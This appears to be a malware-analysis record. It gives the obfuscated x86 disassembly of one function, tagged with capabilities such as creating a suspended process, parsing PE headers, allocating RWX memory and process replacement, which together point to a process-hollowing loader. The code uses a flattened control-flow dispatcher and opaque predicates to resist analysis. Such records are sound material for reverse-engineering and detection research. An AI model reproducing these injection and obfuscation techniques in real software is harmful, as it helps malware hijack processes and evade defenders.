Function at 0x10002b20
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Hide graphical window
Parse pe header
Resume thread
Use process replacement

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0xf4
mov eax, dword [0x100aac00]
xor eax, ebp
mov dword [ebp - 0x10], eax
mov dword [ebp - 0xfc], 0xb7148fcf
mov eax, dword [ebp - 0xfc]
mov dword [ebp - 0x100], eax
sub eax, 0x8051b72b
je 0x10007a65
jmp 0x10002b5c
mov eax, dword [ebp - 0x100]
sub eax, 0x80595ff6
je 0x1000af87
jmp 0x10002b72
mov eax, dword [ebp - 0x100]
sub eax, 0x808312f3
je 0x1000a6e3
jmp 0x10002b88
mov eax, dword [ebp - 0x100]
sub eax, 0x80dcbb3e
je 0x10005f5a
jmp 0x10002b9e
mov eax, dword [ebp - 0x100]
sub eax, 0x813d5fd1
je 0x100069fb
jmp 0x10002bb4
mov eax, dword [ebp - 0x100]
sub eax, 0x81883825
je 0x1000b0be
jmp 0x10002bca
mov eax, dword [ebp - 0x100]
sub eax, 0x81f9d69e
je 0x100070c6
jmp 0x10002be0
mov eax, dword [ebp - 0x100]
sub eax, 0x8227c9aa
je 0x10007686
jmp 0x10002bf6
mov eax, dword [ebp - 0x100]
sub eax, 0x82675896
je 0x1000ada8
jmp 0x10002c0c
mov eax, dword [ebp - 0x100]
sub eax, 0x82f5dd69
je 0x10005bdf
jmp 0x10002c22
mov eax, dword [ebp - 0x100]
sub eax, 0x8421ee84
je 0x10006006
jmp 0x10002c38
mov eax, dword [ebp - 0x100]
sub eax, 0x84588c10
je 0x100060d4
jmp 0x10002c4e
mov eax, dword [ebp - 0x100]
sub eax, 0x84e1db61
je 0x10008587
jmp 0x10002c64
mov eax, dword [ebp - 0x100]
sub eax, 0x85356d06
je 0x10007573
jmp 0x10002c7a
mov eax, dword [ebp - 0x100]
sub eax, 0x85592887
je 0x10005772
jmp 0x10002c90
mov eax, dword [ebp - 0x100]
sub eax, 0x857d4ec7
je 0x10009439
jmp 0x10002ca6
mov eax, dword [ebp - 0x100]
sub eax, 0x86a44a48
je 0x1000b351
jmp 0x10002cbc
mov eax, dword [ebp - 0x100]
sub eax, 0x877b7bbd
je 0x10005cea
jmp 0x10002cd2
mov eax, dword [ebp - 0x100]
sub eax, 0x884fce78
je 0x1000b648
jmp 0x10002ce8
mov eax, dword [ebp - 0x100]
sub eax, 0x888c7b52
je 0x1000a8f9
jmp 0x10002cfe
mov eax, dword [ebp - 0x100]
sub eax, 0x88d714e0
je 0x100063d7
jmp 0x10002d14
mov eax, dword [ebp - 0x100]
sub eax, 0x89189dca
je 0x10009986
jmp 0x10002d2a
mov eax, dword [ebp - 0x100]
sub eax, 0x895b0062
je 0x10008502
jmp 0x10002d40
mov eax, dword [ebp - 0x100]
sub eax, 0x89ab25e9
je 0x10005adc
jmp 0x10002d56
mov eax, dword [ebp - 0x100]
sub eax, 0x8a2a656e
je 0x1000868a
jmp 0x10002d6c
mov eax, dword [ebp - 0x100]
sub eax, 0x8ad56302
je 0x10006c03
jmp 0x10002d82
mov eax, dword [ebp - 0x100]
sub eax, 0x8af54b7f
je 0x1000af0b
jmp 0x10002d98
mov eax, dword [ebp - 0x100]
sub eax, 0x8b13069a
je 0x100072d0
jmp 0x10002dae
mov eax, dword [ebp - 0x100]
sub eax, 0x8b5e69d0
je 0x10007f74
jmp 0x10002dc4
mov eax, dword [ebp - 0x100]
sub eax, 0x8ba1a810
je 0x10008a0d
jmp 0x10002dda
mov eax, dword [ebp - 0x100]
sub eax, 0x8be218d6
je 0x10009546
jmp 0x10002df0
mov eax, dword [ebp - 0x100]
sub eax, 0x8c5c7f06
je 0x100099f1
jmp 0x10002e06
mov eax, dword [ebp - 0x100]
sub eax, 0x8d555142
je 0x1000a23c
jmp 0x10002e1c
mov eax, dword [ebp - 0x100]
sub eax, 0x8f7fea1c
je 0x1000558d
jmp 0x10002e32
mov eax, dword [ebp - 0x100]
sub eax, 0x907255e2
je 0x10008908
jmp 0x10002e48
mov eax, dword [ebp - 0x100]
sub eax, 0x90cf60b3
je 0x1000b080
jmp 0x10002e5e
mov eax, dword [ebp - 0x100]
sub eax, 0x90f843ce
je 0x10005f3b
jmp 0x10002e74
mov eax, dword [ebp - 0x100]
sub eax, 0x918ba933
je 0x1000a70c
jmp 0x10002e8a
mov eax, dword [ebp - 0x100]
sub eax, 0x91e6b9c2
je 0x10007424
jmp 0x10002ea0
mov eax, dword [ebp - 0x100]
sub eax, 0x924c2547
je 0x10007178
jmp 0x10002eb6
mov eax, dword [ebp - 0x100]
sub eax, 0x925c1032
je 0x1000b061
jmp 0x10002ecc
mov eax, dword [ebp - 0x100]
sub eax, 0x9312ced2
je 0x10005508
jmp 0x10002ee2
mov eax, dword [ebp - 0x100]
sub eax, 0x935f1c79
je 0x1000af59
jmp 0x10002ef8
mov eax, dword [ebp - 0x100]
sub eax, 0x938cf84e
je 0x100056d9
jmp 0x10002f0e
mov eax, dword [ebp - 0x100]
sub eax, 0x93922196
je 0x10007677
jmp 0x10002f24
mov eax, dword [ebp - 0x100]
sub eax, 0x93fb41f9
je 0x10007294
jmp 0x10002f3a
mov eax, dword [ebp - 0x100]
sub eax, 0x94074a94
je 0x1000a871
jmp 0x10002f50
mov eax, dword [ebp - 0x100]
sub eax, 0x9410a4e7
je 0x100091fb
jmp 0x10002f66
mov eax, dword [ebp - 0x100]
sub eax, 0x94329d6f
je 0x1000ad0e
jmp 0x10002f7c
mov eax, dword [ebp - 0x100]
sub eax, 0x949380ae
je 0x10008f56
jmp 0x10002f92
mov eax, dword [ebp - 0x100]
sub eax, 0x94ceb6a2
je 0x10007b1e
jmp 0x10002fa8
mov eax, dword [ebp - 0x100]
sub eax, 0x94e74f3a
je 0x1000aeae
jmp 0x10002fbe
mov eax, dword [ebp - 0x100]
sub eax, 0x951af281
je 0x1000870a
jmp 0x10002fd4
mov eax, dword [ebp - 0x100]
sub eax, 0x95656da9
je 0x10009c77
jmp 0x10002fea
mov eax, dword [ebp - 0x100]
sub eax, 0x959744af
je 0x10006c22
jmp 0x10003000
mov eax, dword [ebp - 0x100]
sub eax, 0x95e12e42
je 0x1000aecd
jmp 0x10003016
mov eax, dword [ebp - 0x100]
sub eax, 0x96bb646a
je 0x10008c0d
jmp 0x1000302c
mov eax, dword [ebp - 0x100]
sub eax, 0x96ed0329
je 0x10005736
jmp 0x10003042
mov eax, dword [ebp - 0x100]
sub eax, 0x97f3139b
je 0x1000861c
jmp 0x10003058
mov eax, dword [ebp - 0x100]
sub eax, 0x9842fd5d
je 0x10008c7b
jmp 0x1000306e
mov eax, dword [ebp - 0x100]
sub eax, 0x985b78d6
je 0x100058d2
jmp 0x10003084
mov eax, dword [ebp - 0x100]
sub eax, 0x98df7a3f
je 0x10007d8d
jmp 0x1000309a
mov eax, dword [ebp - 0x100]
sub eax, 0x998aed40
je 0x10008805
jmp 0x100030b0
mov eax, dword [ebp - 0x100]
sub eax, 0x99a60312
je 0x1000790d
jmp 0x100030c6
mov eax, dword [ebp - 0x100]
sub eax, 0x9a121bba
je 0x10009c3f
mov dword [ebp - 0xfc], 0x3693910b
jmp 0x1000b710
movss xmm0, dword [0x10018234]
movss dword [ebp - 0xd8], xmm0
mov eax, dword [0x100abf28]
mov ecx, dword [0x100abf24]
mov edx, eax
sub edx, 0x15ec7b80
sub edx, 1
add edx, 0x15ec7b80
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x94329d6f
mov ecx, 0xff971b5b
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xfc], eax
jmp 0x1000b710
movss xmm0, dword [0x10018390]
movss dword [ebp - 0xd8], xmm0
mov dword [ebp - 0xfc], 0x73b9a76d
jmp 0x1000b710
mov dl, 1
mov eax, 0xef89c38f
mov ecx, 0xb1fa96f3
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xfc], eax
jmp 0x1000b710
movss xmm0, dword [0x10018380]
movss dword [ebp - 0xd8], xmm0
mov dword [ebp - 0xfc], 0xef89c38f
jmp 0x1000b710
mov eax, dword [0x100abf28]
mov ecx, dword [0x100abf24]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xe0617560
mov ecx, 0x5c32338d
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xfc], eax
jmp 0x1000b710
mov ecx, dword [0x100abf28]
mov eax, dword [0x100abf24]
mov edx, ecx
sub edx, 0x3ea4db23
sub edx, 1
add edx, 0x3ea4db23
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x34bda7bd
mov ecx, 0xa8db5dd7
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xfc], eax
jmp 0x1000b710
mov ecx, dword [0x100abf28]
mov eax, dword [0x100abf24]
mov edx, ecx
add edx, 0xe09eea67
sub edx, 1
sub edx, 0xe09eea67
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x82675896
mov ecx, 0x6132745b
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xfc], eax
jmp 0x1000b710
movss xmm0, dword [0x10018360]
movss dword [ebp - 0xdc], xmm0
mov dword [ebp - 0xfc], 0x168b571a
jmp 0x1000b710
movss xmm0, dword [0x10018354]
movss dword [ebp - 0xdc], xmm0
mov dword [ebp - 0xfc], 0x80dcbb3e
jmp 0x1000b710
movss xmm0, dword [0x10018350]
movss dword [ebp - 0xdc], xmm0
mov dword [ebp - 0xfc], 0x56e4c9fc
jmp 0x1000b710
movss xmm0, dword [0x1001821c]
movss dword [ebp - 0xdc], xmm0
mov eax, dword [0x100abf28]
mov ecx, dword [0x100abf24]
mov edx, eax
sub edx, 0xcf7b33ed
sub edx, 1
add edx, 0xcf7b33ed
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xce4862f7
mov ecx, 0x383093e9
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xfc], eax
jmp 0x1000b710
mov ecx, dword [0x100abf28]
mov eax, dword [0x100abf24]
mov edx, ecx
add edx, 0xc40ca54b
sub edx, 1
sub edx, 0xc40ca54b
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xadfd2f5
mov ecx, 0xa0fb2eb6
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xfc], eax
jmp 0x1000b710
mov ecx, dword [0x100abf28]
mov eax, dword [0x100abf24]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xac54a374
mov ecx, 0x57803932
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xfc], eax
jmp 0x1000b710
movss xmm0, dword [0x1001831c]
movss dword [ebp - 0xe4], xmm0
movss xmm0, dword [0x10018318]
movss dword [ebp - 0xe4], xmm0
mov dword [ebp - 0xfc], 0xa8f2ab34
jmp 0x1000b710
movss xmm0, dword [0x100182e4]
movss dword [ebp - 0xe4], xmm0
mov dword [ebp - 0xfc], 0x959744af
jmp 0x1000b710
mov dl, 1
mov eax, 0xb689ef21
mov ecx, 0x74950560
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xfc], eax
jmp 0x1000b710
movss xmm0, dword [0x100181f0]
movss dword [ebp - 0xe8], xmm0
mov ecx, dword [0x100abf28]
mov eax, dword [0x100abf24]
mov edx, ecx
add edx, 0x77cb8d47
sub edx, 1
sub edx, 0x77cb8d47
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xde66542b
mov ecx, 0x26c5be15
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xfc], eax
jmp 0x1000b710
mov eax, dword [0x100abf28]
mov ecx, dword [0x100abf24]
mov edx, eax
sub edx, 0x3140399f
sub edx, 1
add edx, 0x3140399f
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x80595ff6
mov ecx, 0x48b6d923
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xfc], eax
jmp 0x1000b710
mov dl, 1
mov eax, 0xcb5ec9f9
mov ecx, 0x4933e6d8
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xfc], eax
jmp 0x1000b710
mov ecx, dword [0x100abf28]
mov eax, dword [0x100abf24]
mov edx, ecx
add edx, 0xccab4e72
sub edx, 1
sub edx, 0xccab4e72
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x32709cc8
mov ecx, 0xfc55244
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xfc], eax
jmp 0x1000b710
movss xmm0, dword [0x100181e4]
movss dword [ebp - 0xec], xmm0
movss xmm0, dword [0x100181e0]
movss dword [ebp - 0xec], xmm0
movss xmm0, dword [0x100181dc]
movss dword [ebp - 0xec], xmm0
mov eax, dword [0x100abf28]
mov ecx, dword [0x100abf24]
mov edx, eax
add edx, 0x499260b9
sub edx, 1
sub edx, 0x499260b9
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x4cbc6257
mov ecx, 0xf9fe1851
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xfc], eax
jmp 0x1000b710
mov dl, 1
mov eax, 0x226bbbaa
mov ecx, 0xc3044470
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xfc], eax
jmp 0x1000b710
mov dword [ebp - 0xfc], 0x8227c9aa
jmp 0x1000b710
mov dword [ebp - 0xfc], 0x226bbbaa
jmp 0x1000b710
movss xmm0, dword [0x100182a0]
movss dword [ebp - 0xec], xmm0
mov dword [ebp - 0xfc], 0xea395d6c
jmp 0x1000b710
movss xmm0, dword [0x10018298]
movss dword [ebp - 0xec], xmm0
mov dword [ebp - 0xfc], 0x2125e7af
jmp 0x1000b710
mov ecx, dword [0x100abf28]
mov eax, dword [0x100abf24]
mov edx, ecx
add edx, 0x3b5a9acb
sub edx, 1
sub edx, 0x3b5a9acb
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x29f14b10
mov ecx, 0x2691b2a1
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xfc], eax
jmp 0x1000b710
movss xmm0, dword [0x1001827c]
movss dword [ebp - 0xf0], xmm0
movss xmm0, dword [0x10018278]
movss dword [ebp - 0xf0], xmm0
mov dword [ebp - 0xfc], 0x57c47e2b
jmp 0x1000b710
mov ecx, dword [0x100abf28]
mov eax, dword [0x100abf24]
mov edx, ecx
add edx, 0xe16ee62a
sub edx, 1
sub edx, 0xe16ee62a
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xfb6ae971
mov ecx, 0x54bda1af
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xfc], eax
jmp 0x1000b710
mov dword [ebp - 0xfc], 0x747dc171
jmp 0x1000b710
movss xmm0, dword [0x100181a0]
movss dword [ebp - 0xf4], xmm0
mov ecx, dword [0x100abf28]
mov eax, dword [0x100abf24]
mov edx, ecx
sub edx, 0xc1533536
sub edx, 1
add edx, 0xc1533536
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x443c75f0
mov ecx, 0x603df94b
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xfc], eax
jmp 0x1000b710
mov dl, 1
mov eax, 0x998aed40
mov ecx, 0x652b08e5
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xfc], eax
jmp 0x1000b710
movss xmm0, dword [0x1001819c]
movss dword [ebp - 0xf4], xmm0
movss xmm0, dword [0x10018198]
movss dword [ebp - 0xf4], xmm0
mov eax, dword [0x100abf28]
mov ecx, dword [0x100abf24]
mov edx, eax
add edx, 0x1e7cb260
sub edx, 1
sub edx, 0x1e7cb260
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x4eae1abb
mov ecx, 0x2ae5cb08
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xfc], eax
jmp 0x1000b710
mov ecx, dword [0x100abf28]
mov eax, dword [0x100abf24]
mov edx, ecx
sub edx, 0x692c4a3b
sub edx, 1
add edx, 0x692c4a3b
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x4dda838d
mov ecx, 0x2e8d7429
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xfc], eax
jmp 0x1000b710
movss xmm0, dword [0x10018248]
movss dword [ebp - 0xf4], xmm0
mov dword [ebp - 0xfc], 0xa5fe9fce
jmp 0x1000b710
movss xmm0, dword [0x10018244]
movss dword [ebp - 0xf4], xmm0
movss xmm0, dword [0x10018240]
movss dword [ebp - 0xf4], xmm0
mov dword [ebp - 0xfc], 0x521e37c1
jmp 0x1000b710
movss xmm0, dword [0x1001823c]
movss dword [ebp - 0xf4], xmm0
mov dword [ebp - 0xfc], 0x3d4831
jmp 0x1000b710
lea eax, section..data
sub esp, 8
mov dword [esp], eax
mov dword [esp + 4], 0x8bc00
call fcn.10001020
add esp, 8
lea eax, section..data
mov dword [ebp - 0xf8], eax
mov dword [ebp - 0xfc], 0x52eea8f1
jmp 0x1000b710
mov eax, dword [ebp - 0xf8]
mov dword [ebp - 0x7c], eax
mov dword [ebp - 0xfc], 0xd3dc3cba
jmp 0x1000b710
mov eax, dword [0x100abf28]
mov ecx, dword [0x100abf24]
mov edx, eax
add edx, 0x9565e293
sub edx, 1
sub edx, 0x9565e293
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x1c5ec3aa
mov ecx, 0x7a32aad4
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xfc], eax
jmp 0x1000b710
mov ecx, dword [0x100abf28]
mov eax, dword [0x100abf24]
mov edx, ecx
add edx, 0x1996ce6c
sub edx, 1
sub edx, 0x1996ce6c
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x86a44a48
mov ecx, 0xef3c1114
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xfc], eax
jmp 0x1000b710
mov dword [ebp - 0xfc], 0xb24a8b7f
jmp 0x1000b710
mov dword [ebp - 0xfc], 0xdff6bb17
jmp 0x1000b710
mov eax, dword [ebp - 0xa0]
mov eax, dword [eax]
mov ecx, dword [ebp - 0xac]
mov ecx, dword [ecx]
mov edx, dword [ebp - 0x9c]
imul edx, dword [edx], 0x28
add ecx, edx
mov ecx, dword [ecx + 0xc]
mov edx, dword [ebp - 0x98]
mov edx, dword [edx]
sub ecx, 0xc83cb10b
add ecx, edx
add ecx, 0xc83cb10b
cmp eax, ecx
setbe al
and al, 1
mov byte [ebp - 0x49], al
mov dword [ebp - 0xfc], 0x59129822
jmp 0x1000b710
mov eax, dword [ebp - 0xf8]
mov dword [ebp - 0x48], eax
mov dword [ebp - 0xfc], 0xe07d55f3
jmp 0x1000b710
mov eax, dword [ebp - 0xb4]
mov eax, dword [eax]
mov dword [ebp - 0x3c], eax
mov dword [ebp - 0xfc], 0x9436a9b
jmp 0x1000b710
mov eax, dword [ebp - 0xb4]
mov eax, dword [eax]
mov ecx, dword [ebp - 0xa4]
mov ecx, dword [ecx]
mov edx, dword [ecx]
xor ecx, ecx
sub ecx, eax
xor eax, eax
sub eax, edx
add ecx, eax
xor eax, eax
sub eax, ecx
mov ecx, dword [ebp - 0x94]
mov ecx, dword [ecx]
mov edx, dword [ebp - 0x88]
mov edx, dword [edx]
movzx ecx, word [ecx + edx*2]
mov esi, 0xffffffff
xor esi, 0xfff
mov edx, ecx
xor edx, esi
and edx, ecx
xor ecx, ecx
sub ecx, eax
xor eax, eax
sub eax, edx
add ecx, eax
xor eax, eax
sub eax, ecx
mov dword [ebp - 0x2c], eax
mov eax, dword [0x100abf28]
mov ecx, dword [0x100abf24]
mov edx, eax
sub edx, 0x664371bd
sub edx, 1
add edx, 0x664371bd
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x1590316d
mov ecx, 0x2895a86
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xfc], eax
jmp 0x1000b710
mov eax, dword [ebp - 0x88]
mov eax, dword [eax]
xor ecx, ecx
sub ecx, eax
xor eax, eax
sub eax, 1
add ecx, eax
xor eax, eax
sub eax, ecx
mov dword [ebp - 0x24], eax
mov dword [ebp - 0xfc], 0x918ba933
jmp 0x1000b710
mov ecx, dword [0x100abf28]
mov eax, dword [0x100abf24]
mov edx, ecx
sub edx, 0x2a73ca5b
sub edx, 1
add edx, 0x2a73ca5b
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x40f683ad
mov ecx, 0xe4728b85
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xfc], eax
jmp 0x1000b710
mov ecx, dword [ebp - 0x20]
mov eax, dword [ebp - 0xa4]
mov dword [eax], ecx
mov ecx, dword [0x100abf28]
mov eax, dword [0x100abf24]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x433cb3c9
mov ecx, 0xc7c4e5af
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xfc], eax
jmp 0x1000b710
mov dword [ebp - 0xfc], 0x6ccf395f
jmp 0x1000b710
movss xmm0, dword [0x10018234]
movss dword [ebp - 0xd8], xmm0
mov dword [ebp - 0xfc], 0x8f7fea1c
jmp 0x1000b710
movss xmm0, dword [0x10018224]
movss dword [ebp - 0xdc], xmm0
mov dword [ebp - 0xfc], 0x6132745b
jmp 0x1000b710
movss xmm0, dword [0x10018208]
movss dword [ebp - 0xe0], xmm0
mov dword [ebp - 0xfc], 0x4d403680
jmp 0x1000b710
movss xmm0, dword [0x10018204]
movss dword [ebp - 0xe0], xmm0
mov dword [ebp - 0xfc], 0xd477a067
jmp 0x1000b710
movss xmm0, dword [0x100181fc]
movss dword [ebp - 0xe8], xmm0
mov dword [ebp - 0xfc], 0xa1680885
jmp 0x1000b710
mov dword [ebp - 0xfc], 0x2e043c86
jmp 0x1000b710
movss xmm0, dword [0x100181ec]
movss dword [ebp - 0xe8], xmm0
mov dword [ebp - 0xfc], 0x48b6d923
jmp 0x1000b710
movss xmm0, dword [0x100181cc]
movss dword [ebp - 0xec], xmm0
mov dword [ebp - 0xfc], 0xf942f9ed
jmp 0x1000b710
movss xmm0, dword [0x100181c8]
movss dword [ebp - 0xec], xmm0
movss xmm0, dword [0x100181c4]
movss dword [ebp - 0xec], xmm0
mov dword [ebp - 0xfc], 0xb0551c3c
jmp 0x1000b710
movss xmm0, dword [0x100181c0]
movss dword [ebp - 0xf0], xmm0
movss xmm0, dword [0x100181bc]
movss dword [ebp - 0xf0], xmm0
mov dword [ebp - 0xfc], 0x2065e829
jmp 0x1000b710
mov eax, dword [ebp - 0xc8]
mov eax, dword [eax]
sub esp, 4
mov dword [esp], eax
call fcn.100022c0
add esp, 4
mov ecx, eax
mov eax, dword [ebp - 0xb8]
mov dword [eax], ecx
mov eax, dword [ebp - 0xcc]
mov eax, dword [eax]
mov ecx, dword [eax + 0xa4]
mov eax, dword [ebp - 0xb0]
mov dword [eax], ecx
mov dword [ebp - 0xfc], 0xef3c1114
jmp 0x1000b710
mov dword [ebp - 0xfc], 0x69f80d7e
jmp 0x1000b710
jmp 0x10002b40